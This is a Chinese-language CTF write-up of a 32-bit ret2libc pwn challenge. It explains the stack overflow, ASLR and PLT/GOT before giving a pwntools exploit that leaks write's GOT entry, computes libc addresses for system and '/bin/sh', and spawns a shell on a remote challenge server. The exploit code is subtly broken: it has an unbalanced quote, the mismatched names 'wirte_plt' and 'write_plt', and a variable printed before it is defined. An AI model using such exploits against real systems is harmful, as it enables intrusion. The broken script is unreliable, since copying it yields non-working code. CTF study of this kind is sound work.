這道題對于我來講好難好難啊,涉及到了很多新的知識。
首先checksec

:可以直接棧溢出;基地址不變化;對數(shù)據(jù)有執(zhí)行權限。
查看main()函數(shù):

查看函數(shù)function():

無system,無/bin/sh,給了一個共享文件libc_32.so.6,明顯為ret2libc。
ret2libc (return-into-libc)是一種利用緩沖區(qū)溢出的代碼復用技術,主要通過覆蓋棧幀的返回地址(EIP),使其返回到系統(tǒng)中的庫函數(shù),利用庫函數(shù)中已有的功能來實施attack,而不是直接定位到注入的shellcode。system函數(shù)屬于libc,而libc.so動態(tài)鏈接庫中的函數(shù)之間相對偏移是固定的。即使程序有ASLR保護,也只是針對于地址中間位進行隨機,最低的12位并不會發(fā)生改變,用工具來找到對應的libc文件。
ret2libc特征:1、沒有/bin/sh;2、沒有system和/bin/sh;3、無system和/bin/sh,但是給了libc.so文件;4、這三個全都沒有。
ASLR:地址空間布局隨機化,ios,android,windows,macos,linux的當前版本都具有ASLR保護。主要用于防止緩沖區(qū)溢出攻擊,ASLR與虛擬內存管理一起工作,將程序的不同部分的位置隨機化,令攻擊者不能通過嘗試和錯誤了解目標位置,因為地址將不同。
read()函數(shù)中,buf大小為0x88,但是在函數(shù)中竟然規(guī)定了256之大。明顯的棧溢出。
攻擊思路
libc內的地址是隨機的,但是函數(shù)的相對地址是不變的,只要知道其中某一個函數(shù)的地址,再利用相對位移計算出我們所需要的函數(shù)的地址,如果知道read或write函數(shù)的地址就可以計算出其他函數(shù)的地址。
某大佬攻擊思路:
(1)通過function()中的read構造棧溢出,并且覆寫返回地址為plt中的write地址。(2)通過wirte泄露read在內存中的絕對地址,并且接著調用function()(注:got中的read保存著read在內存中的真實地址)(3)計算出system和/bin/sh的絕對地址,再通過function構造棧溢出進行覆寫。(4)成功
plt:procedure Linkage Table,延遲綁定,函數(shù)第一次用到時才進行綁定(符號查找,重定位等);
實現(xiàn)手法:增加一層間接跳轉。
調用函數(shù)時并不直接通過GOT跳轉,而是通過一個叫做PLT的項的結構來進行跳轉,每個外部函數(shù)在PLT中都有一個相應的項。
ELF將GOT拆分成兩個表叫做.got和.got.plt。
.got用來保存全局變量引用的地址
.got.plt用來保存函數(shù)引用的地址,外部函數(shù)的引用全部放到 .plt.got中。
思路
通過read覆蓋返回地址沒執(zhí)行兩次main函數(shù),第一次泄露write函數(shù)的地址,第二次執(zhí)行system函數(shù)。
exp:
from pwn import*
p=remote('111.198.29.45',52277)
# p=process("./level3")
# 獲取文件對象
elf=ELF('./level3')
#獲取lib庫對象
libc=ELF('./libc_32.so.6')
#獲取函數(shù)
wirte_plt=elf.plt['write']
write_got=elf.got[write']
main_addr=elf.sym['main']
#接受數(shù)據(jù)
p.recvuntil(":\n")
#char[88],ebp write函數(shù)地址,write函數(shù)返回地址(返回到main函數(shù)) write函數(shù)參數(shù)一(1) write函數(shù)參數(shù)二(write_got的地址)write參數(shù)三(寫4字節(jié))
payload=0x88*'a'+p32(0xdeadbeef)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload)
#獲取wirte在got中的地址
write_got_addr=u32(p.recv())
print hex(write_got_addr)
# 計算lib庫加載基址
libc_base=write_got_addr-libc.sym['write']
print hex(libc_base)
# 計算system的地址
system_addr=libc_base+libc.sym['system']
print hex(bin_sh_addr)
#計算字符串/bin/sh 的地址。0x15902b為偏移,通過命令:strings -a -t x libc_32.so.6 | grep "/bin/sh"獲取
bin_sh_addr=libc_base+0x15902b
print hex(bin_sh_addr)
#char [88] ebp system system函數(shù)的返回地址 system函數(shù)的參數(shù)(bin_sh_addr)
payload2=0x88*'a'+p32(0xdeadbeef)+p32(system_addr)+p32(0x11111111)+p32(bin_sh_addr)
#接受數(shù)據(jù)
p.recvuntil(":\n")
#發(fā)送payloas
p.sendline(payload2)
#切換交互模式
p.interactive()